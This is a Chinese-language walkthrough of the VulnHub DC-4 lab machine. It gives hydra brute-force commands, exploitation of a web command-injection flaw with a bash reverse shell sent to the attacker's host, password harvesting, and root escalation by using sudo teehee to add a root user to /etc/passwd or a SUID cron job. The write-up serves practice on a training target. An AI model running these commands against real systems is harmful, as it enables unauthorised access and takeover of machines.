【VulnHub靶機滲透】七:DC-4

VulnHub是一個安全平臺,內含衆多滲透測試的靶場鏡像,只需要下載至本地並在虛擬機上運行,即可得到一個完整的滲透測試練習系統,每一個靶機都有相關目標去完成(萬分感謝提供靶機鏡像的同學)。

文章較臃長,記錄了不斷測試並發現利用的過程。


一、相關簡介

靶機:

該靶機設定Web登錄界面的弱口令漏洞,以及站點存在命令執行,和sudo的不安全配置問題。

  • 名稱:Dina-4
  • 系統:Linux Debian
  • 難度:初學者/中級
  • 目標:/root/flag.txt

環境:

  • 靶機:Dina-4——192,168.11.27
  • 攻擊機:Kali——192.168.11.28
  • 工具:Nmap、dirb、NetCat(nc)、BurpSuit、whatweb、MSF等

流程:

  1. 信息蒐集
  2. Web站點滲透並提權

二、滲透步驟

1、信息蒐集

1.1、蒐集

arp-scan 主機發現
在這裏插入圖片描述
Nmap端口服務掃描,操作系統識別

nmap -sS -Pn -T4 -A 192.168.11.27

在這裏插入圖片描述
開放了2個端口,22和80端口

Web路徑掃描,只掃到一個主頁
在這裏插入圖片描述
Web指紋識別,沒有有用信息。

1.2、總結

經過信息蒐集,大只得到以下內容:

主機:

  • IP:192.168.11.27
  • OS:Linux 3.2 - 4.9
  • Kernel:Linux 3 / Linux 4
  • 22端口:ssh,OpenSSH - 7.4p1
  • 80端口:http,Nginx - 1.15.10

Web路徑:

  • http://192.168.11.27/index.php (主頁)
  • http://192.168.11.27/css/(403)
  • http://192.168.11.27/images/(403)

2、漏洞發現

對ssh服務進行弱口令爆破沒有成功後,將重點轉向了Web站點。

2.1 弱口令進入Web頁面

Web頁面只有一個登錄框,使用hydra爆破,當然也可以使用BurpSuit,本次我是用hydra的Web表單提交爆破,命令如下:

hydra -L ./adminUser.txt -P ./adminPsd.txt -vV -t 10 -f 192.168.11.27 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout"

參數解釋:

  • -vV:顯示詳細信息
  • -t 10:線程
  • -f:發現第一個就停止
  • http-post-form:http POST類型的表單提交
  • “/login.php:username=^ USER ^ &password= ^ PASS ^:S=logout”,分兩部分:
    • /login.php:username=^ USER ^ &password= ^ PASS ^:提交表單的頁面以及參數
    • S=logout:成功標誌,不加S=即爲失敗標誌

成功爆破出一個賬戶:admin :happy
在這裏插入圖片描述

不得不吐槽爆破這一環節了,有時候真是肉包子打狗,使用小字典吧有害怕漏了東西,使用大字典吧又費時間,還不一定能爆出,不爆破吧,又不甘心,難搞啊。

2.2 命令執行漏洞

言歸正傳,登錄之後頁面只有一個Commend的選項
在這裏插入圖片描述
點擊後有三個選項,都是執行相應命令,並輸出執行結果,比如List Files
在這裏插入圖片描述
既然這樣那就可以抓包看一下,此處執行的是命令還是執行寫好的命令對應的編號,如果執行的命令,那就可能存在命令執行漏洞。

使用BP抓包,發現果然執行的是命令
在這裏插入圖片描述
試了這三個選項外其他的命令也可以,嘗試能否cat passwd文件,發現也可以
在這裏插入圖片描述

3、漏洞利用

3.1 反彈shell

ok,既然可以命令執行,那麼自然想到反彈shell,使用以下語句:

echo "bash -i >& /dev/tcp/192.168.11.28/8888 0>&1" | bash

但是直接輸入原語句會有特殊符號解析問題,因此需要進行url編碼,使用Decoder模塊編碼,然後建立反彈shell,即可成功連接
在這裏插入圖片描述
連接成功但是不是root權限,需要提權,提權步驟後邊再寫。

3.2 發現密碼,連接ssh

之前發現home路徑下該用戶還有其他文件,有一個backups備份文件很是可疑,看一下是否有信息泄漏

果然發現了端倪,有一個old-passwords.bak的文件,內容是一些密碼,可能用戶密碼就在其中
在這裏插入圖片描述
系統當前連同 root 總共有4個用戶
在這裏插入圖片描述
那麼就可以利用得到的密碼文件以及四個用戶名去爆破ssh服務了,創建用戶名和密碼文件並填入相應內容,使用hydra爆破

hydra -L ./uname.txt -P ./pword.txt -t4 -vV 192.168.11.27 ssh

嚯!找到了:jim :jibril04,真滴賊,正確的密碼是最後一個,總共給了250多個
在這裏插入圖片描述

4、提權

4.1 test.sh SUID 提權(失敗)

搜一下有SUID權限的命令,發現了一個可以文件:test.sh
在這裏插入圖片描述
查看內容是執行幾句代碼,並且可以成功執行
在這裏插入圖片描述
看一下該用戶對該文件的權限,媽耶,果然是一個線索點,居然對該文件有寫權限,那就很可怕了,盲猜想要執行任何命令都可以寫入該文件,就會以root權限執行。

試着寫入一個反彈shell,看看是不是root權限
在這裏插入圖片描述
但是發現建立的連接並不是root權限,大大的疑惑
在這裏插入圖片描述
一定是打開方式有問題,重新寫一個命令試一試,寫了個id,發現執行後還是以當前用戶執行。

哎呦,睡了一覺起來怎麼在SUID裏找不到這個文件了???
在這裏插入圖片描述
索性在自己的機器上試一下能否提權,輸入id後發現是不可以的,還是以執行文件的用戶權限來執行該命令
在這裏插入圖片描述
所以這條線斷了,不可以提權,另闢蹊徑吧。

4.2 髒牛提權(失敗)

現在要做的就是登錄提權了,連接ssh服務,當前用戶時jim,無root權限
在這裏插入圖片描述
查找當前用戶所有的可寫文件,看看是否有提權線索,發現了一個jim 的 mail
在這裏插入圖片描述
打開是一封charles寫給jim的郵件,說是讓jim保管他的密碼,給出了密碼,切換用戶看看有沒有什麼好玩的東西
在這裏插入圖片描述
暫時沒有發現什麼線索,索性使用髒牛提權試一試,但未能成功。

4.3 teehee 無密碼 sudo 提權

在查看用戶權限時發現有一個teehee文件可以無密碼使用sudo,而且是root權限
在這裏插入圖片描述
查看文件幫助得知, -a 參數可以向指定文件添加內容
在這裏插入圖片描述
查詢得知有兩種思路:

  • 向passwd文件寫入root權限用戶
  • 向/etc/crontab文件中寫入新的定時任務

1、新建用戶

4.3.1 新建root用戶提權

使用以下命令新建一個root權限用戶abc

echo "abc::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

切換用戶即可得到flag
在這裏插入圖片描述
2、寫入定時任務

4.3.2 定時任務添加/bin/sh SUID提權

向/etc/crontab文件寫入一個定時任務,當到時間時會自動執行,並且將該任務設定爲執行擁有4777文件屬性的/bin/sh文件,含義如下:

  • 1、文件屬性777表示的是讀寫執行,不用多說,4代表擁有SUID權限,何爲SUID權限?

    SUID(Set UID)權限是指當文件(指令)擁有該權限時,執行該文件的用戶就會擁有文件擁有者的權限。(這也就解釋了之前發現的test.sh不可以提權的問題,因爲文件屬於非root用戶)

  • 2、/bin/sh是屬於root用戶的,但是沒有SUID權限怎麼提權呢?

    可以利用teehee的sudo向定時任務中寫入一句修改/bin/sh屬性爲4777(添加SUID)的命令,執行/bin/sh即可拿到root權限

先查看/bin/sh文件屬性,所屬用戶時root,此時還沒有SUID權限
在這裏插入圖片描述
看看定時任務文件 /etc/crontab 的內容格式並搜索得知,在添加定時任務時將時間設定爲 * 即可使得任務每分鐘觸發一次。

命令如下:

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

查看定時任務文件,已經存在
在這裏插入圖片描述
再次查看/bin/sh屬性,發現已經擁有SUID
在這裏插入圖片描述
OK,直接使用/bin/sh開啓一個新的shell環境,查看用戶發現已經是root
在這裏插入圖片描述
至此。

四、知識總結

整體打靶流程:

  • 利用弱口令進入Web,發現命令執行漏洞;
  • 建立反彈shell,拿到普通用戶jim的密碼,連接ssh;
  • 在郵件中拿到另一個賬戶charles密碼,發現該用戶有sudo無密碼使用權限;
  • 利用teehee命令的SUID和sudo提權至root。

知識點:

  • 在打靶場時,如果Web頁面沒有什麼提示信息,那麼多半都是弱口令漏洞,儘管爆破就可以了。
  • 提權時,可使用sudo -l命令查看當前用戶的權限,或許有意外收穫,比如本次的sudo無密碼使用權限。
  • SUID權限是一個好東西,使用以下命令查找存在SUID權限的命令(文件):
find / -type f -perm -u=s 2>/dev/null
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章